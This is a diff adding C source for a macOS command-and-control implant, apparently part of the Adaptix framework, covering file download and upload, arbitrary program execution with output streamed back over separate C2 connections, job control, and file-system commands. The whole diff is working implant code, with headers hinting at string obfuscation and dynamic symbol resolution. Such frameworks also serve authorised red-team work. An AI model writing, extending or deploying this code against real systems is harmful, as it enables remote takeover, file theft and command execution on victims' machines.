+ mp_write_kv_bool(&ans_w, "canceled", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+
+ conn_close(&job->conn);
+ jobs_remove(ctx, args->job_idx);
+ ax_free(args, sizeof(download_args_t));
+ return (void*)0;
+ }
+
+ // Get file size
+ struct stat st;
+ R_fstat(fd, &st);
+ size_t total_size = (size_t)st.st_size;
+ _async_dbg_int("[DOWNLOAD] file size=", (int64_t)total_size);
+
+ // Read and stream in chunks
+ uint8_t* chunk_buf = (uint8_t*)ax_malloc(DOWNLOAD_CHUNK_SIZE);
+ size_t offset = 0;
+ int first = 1;
+ int chunk_count = 0;
+
+ while (offset < total_size && !job->canceled) {
+ size_t remaining = total_size - offset;
+ size_t to_read = remaining < DOWNLOAD_CHUNK_SIZE ? remaining : DOWNLOAD_CHUNK_SIZE;
+
+ ssize_t n = R_read(fd, chunk_buf, to_read);
+ if (n <= 0) break;
+
+ int is_last = (offset + (size_t)n >= total_size);
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)n);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", (int64_t)total_size);
+ mp_write_kv_bin(&ans_w, "content", chunk_buf, (uint32_t)n);
+ mp_write_kv_bool(&ans_w, "start", first ? true : false);
+ mp_write_kv_bool(&ans_w, "finish", is_last ? true : false);
+ mp_write_kv_bool(&ans_w, "canceled", false);
+
+ if (chunk_count < 3) {
+ _async_dbg_int("[DOWNLOAD] chunk#=", chunk_count);
+ _async_dbg_int("[DOWNLOAD] read n=", (int64_t)n);
+ _async_dbg_int("[DOWNLOAD] offset=", (int64_t)offset);
+ _async_dbg_int("[DOWNLOAD] is_last=", is_last);
+ _async_dbg_int("[DOWNLOAD] msg size=", (int64_t)ans_w.buf.len);
+ }
+
+ if (jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len) != 0) {
+ _async_dbg("[DOWNLOAD] jobs_send_message failed!");
+ mp_writer_free(&ans_w);
+ break;
+ }
+ mp_writer_free(&ans_w);
+
+ offset += (size_t)n;
+ first = 0;
+ chunk_count++;
+ }
+
+ // If canceled, send cancel marker
+ if (job->canceled && offset < total_size) {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 7);
+ mp_write_kv_int(&ans_w, "id", file_id);
+ mp_write_kv_str(&ans_w, "path", args->path);
+ mp_write_kv_int(&ans_w, "size", (int64_t)total_size);
+ mp_write_kv_bin(&ans_w, "content", (uint8_t*)0, 0);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
+ mp_write_kv_bool(&ans_w, "canceled", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_DOWNLOAD, args->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ _async_dbg_int("[DOWNLOAD] === download complete, total chunks=", chunk_count);
+ _async_dbg_int("[DOWNLOAD] total bytes sent=", (int64_t)offset);
+ _async_dbg_int("[DOWNLOAD] canceled=", job->canceled);
+
+ ax_free(chunk_buf, DOWNLOAD_CHUNK_SIZE);
+ R_close(fd);
+ conn_close(&job->conn);
+ jobs_remove(ctx, args->job_idx);
+ ax_free(args, sizeof(download_args_t));
+ return (void*)0;
+}
+
+int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ _async_dbg("[DOWNLOAD] === task_download called ===");
+ _async_dbg_int("[DOWNLOAD] data_len=", data_len);
+
+ // Parse ParamsDownload{Task, Path}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+ _async_dbg_int("[DOWNLOAD] map_count=", mc);
+
+ char task[64] = {0};
+ char path[4096] = {0};
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ _async_dbg("[DOWNLOAD] parsed task=");
+ _async_dbg(task);
+ } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; }
+ _async_dbg("[DOWNLOAD] parsed path=");
+ _async_dbg(path);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0' || path[0] == '\0') {
+ _async_dbg("[DOWNLOAD] missing task or path!");
+ _async_dbg(task[0] ? "task OK" : "task EMPTY");
+ _async_dbg(path[0] ? "path OK" : "path EMPTY");
+ write_error(w, "missing task or path");
+ return 0;
+ }
+
+ // Allocate job slot
+ int idx = jobs_alloc(&g_job_ctx);
+ if (idx < 0) { write_error(w, "max jobs reached"); return 0; }
+
+ job_entry_t* job = &g_job_ctx.jobs[idx];
+ ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1);
+ job->job_type = JOB_TYPE_DOWNLOAD;
+ job->active = 1;
+
+ // Prepare thread args
+ download_args_t* args = (download_args_t*)ax_malloc(sizeof(download_args_t));
+ args->job_idx = idx;
+ ax_strncpy(args->task, task, sizeof(args->task) - 1);
+ ax_strncpy(args->path, path, sizeof(args->path) - 1);
+
+ R_pthread_create(&job->thread, (void*)0, download_thread, args);
+ R_pthread_detach(job->thread);
+
+ // Return immediate ack
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "download started");
+ return 0;
+}
+
+// ── Upload ──
+// Go: ParamsUpload{Task string, Path string, Content []byte, Finish bool}
+// Synchronous — data received in chunks via normal command loop
+
+int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char task[64] = {0};
+ char path[4096] = {0};
+ const uint8_t* content = (uint8_t*)0;
+ uint32_t content_len = 0;
+ bool finish = false;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "path", 4) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(path)) { ax_memcpy(path, v, vl); path[vl] = '\0'; }
+ } else if (kl == 7 && ax_memcmp(k, "content", 7) == 0) {
+ mp_read_bin(&r, &content, &content_len);
+ } else if (kl == 6 && ax_memcmp(k, "finish", 6) == 0) {
+ mp_read_bool(&r, &finish);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0') { write_error(w, "missing task"); return 0; }
+
+ job_context_t* ctx = &g_job_ctx;
+
+ // Find or create upload entry
+ int uidx = -1;
+ for (int i = 0; i < ctx->upload_count; i++) {
+ if (ax_strcmp(ctx->uploads[i].task_id, task) == 0) { uidx = i; break; }
+ }
+ if (uidx < 0) {
+ if (ctx->upload_count >= MAX_JOBS) { write_error(w, "max uploads reached"); return 0; }
+ uidx = ctx->upload_count++;
+ ax_memset(&ctx->uploads[uidx], 0, sizeof(upload_entry_t));
+ ax_strncpy(ctx->uploads[uidx].task_id, task, sizeof(ctx->uploads[uidx].task_id) - 1);
+ }
+
+ upload_entry_t* up = &ctx->uploads[uidx];
+
+ // Append content
+ if (content && content_len > 0) {
+ size_t needed = up->data_len + content_len;
+ if (needed > up->data_cap) {
+ size_t new_cap = needed * 2;
+ if (new_cap < 4096) new_cap = 4096;
+ uint8_t* new_data = (uint8_t*)ax_malloc(new_cap);
+ if (up->data && up->data_len > 0) {
+ ax_memcpy(new_data, up->data, up->data_len);
+ ax_free(up->data, up->data_cap);
+ }
+ up->data = new_data;
+ up->data_cap = new_cap;
+ }
+ ax_memcpy(up->data + up->data_len, content, content_len);
+ up->data_len += content_len;
+ }
+
+ if (finish) {
+ // Write file
+ int fd = R_open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+ if (fd < 0) {
+ write_error(w, "failed to create file");
+ } else {
+ if (up->data && up->data_len > 0) {
+ R_write(fd, up->data, up->data_len);
+ }
+ R_close(fd);
+
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "path", path);
+ mp_write_kv_int(w, "size", (int64_t)up->data_len);
+ }
+
+ // Cleanup upload entry
+ if (up->data) ax_free(up->data, up->data_cap);
+ // Shift remaining entries
+ for (int i = uidx; i < ctx->upload_count - 1; i++)
+ ctx->uploads[i] = ctx->uploads[i + 1];
+ ctx->upload_count--;
+ } else {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "chunk received");
+ }
+
+ return 0;
+}
+
+// ── Run ──
+// Go: ParamsRun{Program string, Args []string, Task string}
+// Spawns thread → opens new connection → runs process → streams stdout/stderr
+
+#define RUN_CHUNK_SIZE 65536 // 64KB (0x10000)
+
+typedef struct {
+ int job_idx;
+ char task[64];
+ char program[4096];
+ char* args[64];
+ int argc;
+} run_args_t;
+
+static void* run_thread(void* arg) {
+ run_args_t* rargs = (run_args_t*)arg;
+ job_context_t* ctx = &g_job_ctx;
+ job_entry_t* job = &ctx->jobs[rargs->job_idx];
+
+ // Open separate connection to C2
+ if (jobs_open_connection(ctx, &job->conn) != 0) {
+ job->active = 0;
+ // Free args
+ for (int i = 0; i < rargs->argc; i++)
+ ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1);
+ ax_free(rargs, sizeof(run_args_t));
+ return (void*)0;
+ }
+
+ // Send JobPack init: {id, type, task}
+ mp_writer_t pack_w;
+ mp_writer_init(&pack_w, 128);
+ mp_write_map(&pack_w, 3);
+ mp_write_kv_uint(&pack_w, "id", ctx->agent_id);
+ mp_write_kv_uint(&pack_w, "type", ctx->profile_type);
+ mp_write_kv_str(&pack_w, "task", rargs->task);
+
+ if (jobs_send_init(ctx, &job->conn, JOB_PACK, pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) {
+ mp_writer_free(&pack_w);
+ conn_close(&job->conn);
+ job->active = 0;
+ for (int i = 0; i < rargs->argc; i++)
+ ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1);
+ ax_free(rargs, sizeof(run_args_t));
+ return (void*)0;
+ }
+ mp_writer_free(&pack_w);
+
+ // Create pipes for stdout and stderr
+ int stdout_pipe[2], stderr_pipe[2];
+ if (R_pipe(stdout_pipe) != 0 || R_pipe(stderr_pipe) != 0) {
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+ for (int i = 0; i < rargs->argc; i++)
+ ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1);
+ ax_free(rargs, sizeof(run_args_t));
+ return (void*)0;
+ }
+
+ // Build argv for execvp
+ // argv[0] = program, argv[1..N] = args, argv[N+1] = NULL
+ char* exec_argv[66];
+ exec_argv[0] = rargs->program;
+ for (int i = 0; i < rargs->argc && i < 63; i++)
+ exec_argv[i + 1] = rargs->args[i];
+ exec_argv[rargs->argc + 1] = (char*)0;
+
+ int pid = R_fork();
+ if (pid < 0) {
+ R_close(stdout_pipe[0]); R_close(stdout_pipe[1]);
+ R_close(stderr_pipe[0]); R_close(stderr_pipe[1]);
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+ for (int i = 0; i < rargs->argc; i++)
+ ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1);
+ ax_free(rargs, sizeof(run_args_t));
+ return (void*)0;
+ }
+
+ if (pid == 0) {
+ // Child process
+ R_setpgid(0, 0);
+ R_close(stdout_pipe[0]);
+ R_close(stderr_pipe[0]);
+ R_dup2(stdout_pipe[1], 1);
+ R_dup2(stderr_pipe[1], 2);
+ R_close(stdout_pipe[1]);
+ R_close(stderr_pipe[1]);
+ extern char*** _NSGetEnviron(void);
+ char** environ = *_NSGetEnviron();
+ R_execve(rargs->program, exec_argv, environ);
+ R_exit(1);
+ }
+
+ // Parent: close write ends
+ R_close(stdout_pipe[1]);
+ R_close(stderr_pipe[1]);
+
+ // Set reads to non-blocking
+ R_fcntl(stdout_pipe[0], F_SETFL, O_NONBLOCK);
+ R_fcntl(stderr_pipe[0], F_SETFL, O_NONBLOCK);
+
+ // Send start message
+ {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 5);
+ mp_write_kv_str(&ans_w, "stdout", "");
+ mp_write_kv_str(&ans_w, "stderr", "");
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", true);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ // Streaming loop — read stdout/stderr, send every ~1 second
+ uint8_t* out_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE);
+ uint8_t* err_buf = (uint8_t*)ax_malloc(RUN_CHUNK_SIZE);
+ int process_done = 0;
+
+ while (!process_done && !job->canceled) {
+ R_usleep(1000000); // 1 second
+
+ // Read stdout
+ ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE);
+ if (out_n < 0) out_n = 0;
+
+ // Read stderr
+ ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE);
+ if (err_n < 0) err_n = 0;
+
+ // Check if process exited
+ int status;
+ int wret = R_waitpid(pid, &status, WNOHANG);
+ if (wret > 0) process_done = 1;
+
+ // Send output if any
+ if (out_n > 0 || err_n > 0) {
+ // Build stdout/stderr strings (null-terminate for msgpack str)
+ char* out_str = (char*)ax_malloc((size_t)out_n + 1);
+ ax_memcpy(out_str, out_buf, (size_t)out_n);
+ out_str[out_n] = '\0';
+
+ char* err_str = (char*)ax_malloc((size_t)err_n + 1);
+ ax_memcpy(err_str, err_buf, (size_t)err_n);
+ err_str[err_n] = '\0';
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n);
+ mp_write_map(&ans_w, 5);
+ mp_write_str(&ans_w, "stdout", 6);
+ mp_write_str(&ans_w, out_str, (uint32_t)out_n);
+ mp_write_str(&ans_w, "stderr", 6);
+ mp_write_str(&ans_w, err_str, (uint32_t)err_n);
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ ax_free(out_str, (size_t)out_n + 1);
+ ax_free(err_str, (size_t)err_n + 1);
+ }
+ }
+
+ // If canceled, kill process
+ if (job->canceled) {
+ R_killpg(pid, 9); // SIGKILL
+ R_waitpid(pid, (void*)0, 0);
+ }
+
+ // Drain remaining output
+ for (;;) {
+ ssize_t out_n = R_read(stdout_pipe[0], out_buf, RUN_CHUNK_SIZE);
+ ssize_t err_n = R_read(stderr_pipe[0], err_buf, RUN_CHUNK_SIZE);
+ if (out_n <= 0 && err_n <= 0) break;
+ if (out_n < 0) out_n = 0;
+ if (err_n < 0) err_n = 0;
+
+ char* out_str = (char*)ax_malloc((size_t)out_n + 1);
+ ax_memcpy(out_str, out_buf, (size_t)out_n);
+ out_str[out_n] = '\0';
+
+ char* err_str = (char*)ax_malloc((size_t)err_n + 1);
+ ax_memcpy(err_str, err_buf, (size_t)err_n);
+ err_str[err_n] = '\0';
+
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128 + (size_t)out_n + (size_t)err_n);
+ mp_write_map(&ans_w, 5);
+ mp_write_str(&ans_w, "stdout", 6);
+ mp_write_str(&ans_w, out_str, (uint32_t)out_n);
+ mp_write_str(&ans_w, "stderr", 6);
+ mp_write_str(&ans_w, err_str, (uint32_t)err_n);
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", false);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ ax_free(out_str, (size_t)out_n + 1);
+ ax_free(err_str, (size_t)err_n + 1);
+ }
+
+ // Send finish message
+ {
+ mp_writer_t ans_w;
+ mp_writer_init(&ans_w, 128);
+ mp_write_map(&ans_w, 5);
+ mp_write_kv_str(&ans_w, "stdout", "");
+ mp_write_kv_str(&ans_w, "stderr", "");
+ mp_write_kv_int(&ans_w, "pid", pid);
+ mp_write_kv_bool(&ans_w, "start", false);
+ mp_write_kv_bool(&ans_w, "finish", true);
+
+ jobs_send_message(ctx, &job->conn, COMMAND_RUN, rargs->task,
+ ans_w.buf.data, (uint32_t)ans_w.buf.len);
+ mp_writer_free(&ans_w);
+ }
+
+ R_close(stdout_pipe[0]);
+ R_close(stderr_pipe[0]);
+ ax_free(out_buf, RUN_CHUNK_SIZE);
+ ax_free(err_buf, RUN_CHUNK_SIZE);
+ conn_close(&job->conn);
+ jobs_remove(ctx, rargs->job_idx);
+
+ // Free args
+ for (int i = 0; i < rargs->argc; i++)
+ ax_free(rargs->args[i], ax_strlen(rargs->args[i]) + 1);
+ ax_free(rargs, sizeof(run_args_t));
+ return (void*)0;
+}
+
+int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ // Parse ParamsRun{Program, Args, Task}
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ char task[64] = {0};
+ char program[4096] = {0};
+ char* args[64];
+ int argc = 0;
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 4 && ax_memcmp(k, "task", 4) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(task)) { ax_memcpy(task, v, vl); task[vl] = '\0'; }
+ } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) {
+ const char* v; uint32_t vl;
+ mp_read_str(&r, &v, &vl);
+ if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; }
+ } else if (kl == 4 && ax_memcmp(k, "args", 4) == 0) {
+ uint32_t arr_count;
+ if (mp_read_array(&r, &arr_count) == 0) {
+ for (uint32_t j = 0; j < arr_count && argc < 63; j++) {
+ const char* v; uint32_t vl;
+ if (mp_read_str(&r, &v, &vl) == 0) {
+ args[argc] = (char*)ax_malloc(vl + 1);
+ ax_memcpy(args[argc], v, vl);
+ args[argc][vl] = '\0';
+ argc++;
+ }
+ }
+ }
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (task[0] == '\0' || program[0] == '\0') {
+ for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1);
+ write_error(w, "missing task or program");
+ return 0;
+ }
+
+ // Allocate job slot
+ int idx = jobs_alloc(&g_job_ctx);
+ if (idx < 0) {
+ for (int i = 0; i < argc; i++) ax_free(args[i], ax_strlen(args[i]) + 1);
+ write_error(w, "max jobs reached");
+ return 0;
+ }
+
+ job_entry_t* job = &g_job_ctx.jobs[idx];
+ ax_strncpy(job->job_id, task, sizeof(job->job_id) - 1);
+ job->job_type = JOB_TYPE_RUN;
+ job->active = 1;
+
+ // Prepare thread args
+ run_args_t* rargs = (run_args_t*)ax_malloc(sizeof(run_args_t));
+ ax_memset(rargs, 0, sizeof(run_args_t));
+ rargs->job_idx = idx;
+ ax_strncpy(rargs->task, task, sizeof(rargs->task) - 1);
+ ax_strncpy(rargs->program, program, sizeof(rargs->program) - 1);
+ rargs->argc = argc;
+ for (int i = 0; i < argc; i++)
+ rargs->args[i] = args[i]; // Transfer ownership
+
+ R_pthread_create(&job->thread, (void*)0, run_thread, rargs);
+ R_pthread_detach(job->thread);
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "run started");
+ return 0;
+}
+
+// ── Job List ──
+// Returns list of active jobs: [{job_id, job_type}, ...]
+
+int task_job_list(mp_writer_t* w) {
+ job_context_t* ctx = &g_job_ctx;
+
+ // Count active jobs
+ int count = 0;
+ R_pthread_mutex_lock(&ctx->jobs_mutex);
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active) count++;
+ }
+
+ mp_write_map(w, 1);
+ mp_write_str(w, "jobs", 4);
+ mp_write_array(w, (uint32_t)count);
+
+ for (int i = 0; i < MAX_JOBS; i++) {
+ if (ctx->jobs[i].active) {
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "job_id", ctx->jobs[i].job_id);
+ mp_write_kv_int(w, "job_type", ctx->jobs[i].job_type);
+ }
+ }
+ R_pthread_mutex_unlock(&ctx->jobs_mutex);
+
+ return 0;
+}
+
+// ── Job Kill ──
+// Go: ParamsJobKill{Id string}
+
+int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ const char* id = (const char*)0;
+ uint32_t id_len = 0;
+
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t mc;
+ if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; }
+
+ for (uint32_t i = 0; i < mc; i++) {
+ const char* k; uint32_t kl;
+ if (mp_read_str(&r, &k, &kl) != 0) break;
+ if (kl == 2 && ax_memcmp(k, "id", 2) == 0) {
+ mp_read_str(&r, &id, &id_len);
+ } else {
+ mp_skip(&r);
+ }
+ }
+
+ if (!id || id_len == 0) { write_error(w, "missing id"); return 0; }
+
+ // Copy ID to null-terminated string
+ char id_str[64] = {0};
+ if (id_len >= sizeof(id_str)) id_len = sizeof(id_str) - 1;
+ ax_memcpy(id_str, id, id_len);
+
+ job_context_t* ctx = &g_job_ctx;
+
+ // Search in jobs (downloads + runs)
+ int idx = jobs_find(ctx, id_str);
+ if (idx >= 0) {
+ ctx->jobs[idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "job canceled");
+ return 0;
+ }
+
+ // Search in tunnels
+ // Try to parse as integer for channel_id
+ int ch_id = ax_atoi(id_str);
+ int tidx = tunnels_find(ctx, ch_id);
+ if (tidx >= 0) {
+ ctx->tunnels[tidx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "tunnel canceled");
+ return 0;
+ }
+
+ // Search in terminals
+ int term_idx = terminals_find(ctx, ch_id);
+ if (term_idx >= 0) {
+ ctx->terminals[term_idx].canceled = 1;
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "status", "terminal canceled");
+ return 0;
+ }
+
+ write_error(w, "job not found");
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h
new file mode 100644
index 000000000..b5f489462
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h
@@ -0,0 +1,16 @@
+#ifndef TASKS_ASYNC_H
+#define TASKS_ASYNC_H
+
+#include "msgpack.h"
+#include
+
+/// Async command handlers — download, upload, run, job_list, job_kill
+/// These launch background threads with separate C2 connections
+
+int task_download(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_upload(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_run(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+int task_job_list(mp_writer_t* w);
+int task_job_kill(const uint8_t* data, uint32_t data_len, mp_writer_t* w);
+
+#endif // TASKS_ASYNC_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c
new file mode 100644
index 000000000..363e79e4b
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c
@@ -0,0 +1,501 @@
+#include "tasks_fs.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+#include "strings_obf.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+// Helper: expand ~ to home directory
+static void normalize_path(const char* input, char* out, size_t out_size) {
+ if (input[0] == '~' && (input[1] == '/' || input[1] == '\0')) {
+ const char* home = R_getenv("HOME");
+ if (!home) {
+ struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid());
+ home = pw ? pw->pw_dir : "/tmp";
+ }
+ ax_strncpy(out, home, out_size - 1);
+ ax_strcat(out, input + 1);
+ } else {
+ ax_strncpy(out, input, out_size - 1);
+ }
+ out[out_size - 1] = '\0';
+}
+
+// Helper: parse a single string field from msgpack params
+static int parse_string_param(const uint8_t* data, uint32_t data_len,
+ const char* key_name, char* out, size_t out_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+ if (klen == ax_strlen(key_name) && ax_memcmp(key, key_name, klen) == 0) {
+ const char* val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out_size) vlen = (uint32_t)(out_size - 1);
+ ax_memcpy(out, val, vlen);
+ out[vlen] = '\0';
+ return 0;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+// Helper: parse two string fields (src, dst)
+static int parse_two_strings(const uint8_t* data, uint32_t data_len,
+ const char* key1, char* out1, size_t out1_size,
+ const char* key2, char* out2, size_t out2_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ int found = 0;
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char* key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+ if (klen == ax_strlen(key1) && ax_memcmp(key, key1, klen) == 0) {
+ const char* val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out1_size) vlen = (uint32_t)(out1_size - 1);
+ ax_memcpy(out1, val, vlen);
+ out1[vlen] = '\0';
+ found++;
+ } else if (klen == ax_strlen(key2) && ax_memcmp(key, key2, klen) == 0) {
+ const char* val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out2_size) vlen = (uint32_t)(out2_size - 1);
+ ax_memcpy(out2, val, vlen);
+ out2[vlen] = '\0';
+ found++;
+ } else {
+ mp_skip(&r);
+ }
+ }
+ return (found >= 2) ? 0 : -1;
+}
+
+static void write_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+// ---- Command handlers ----
+
+int task_cd(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ if (R_chdir(path) != 0) {
+ write_error(w, "chdir failed");
+ return 0;
+ }
+
+ char cwd[4096];
+ if (R_getcwd(cwd, sizeof(cwd)) == NULL) {
+ write_error(w, "getcwd failed");
+ return 0;
+ }
+
+ // Response: AnsPwd {path: string}
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "path", cwd);
+ return 0;
+}
+
+int task_cat(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ // Check file size (max 1 MB)
+ struct stat st;
+ if (R_stat(path, &st) != 0) {
+ write_error(w, "file not found");
+ return 0;
+ }
+ if (st.st_size > 1024 * 1024) {
+ write_error(w, "file size exceeds 1 Mb (use download)");
+ return 0;
+ }
+
+ int fd = R_open(path, O_RDONLY, 0);
+ if (fd < 0) {
+ write_error(w, "cannot open file");
+ return 0;
+ }
+
+ uint8_t* content = (uint8_t*)ax_malloc((size_t)st.st_size);
+ ssize_t n = R_read(fd, content, (size_t)st.st_size);
+ R_close(fd);
+
+ if (n < 0) {
+ ax_free(content, (size_t)st.st_size);
+ write_error(w, "read failed");
+ return 0;
+ }
+
+ // Response: AnsCat {path, content}
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "path", path);
+ mp_write_kv_bin(w, "content", content, (uint32_t)n);
+
+ ax_free(content, (size_t)st.st_size);
+ return 0;
+}
+
+int task_ls(const uint8_t* data, uint32_t data_len, mp_writer_t* w) {
+ char raw_path[4096] = {0};
+ // Default to "." if no path
+ ax_strcpy(raw_path, ".");
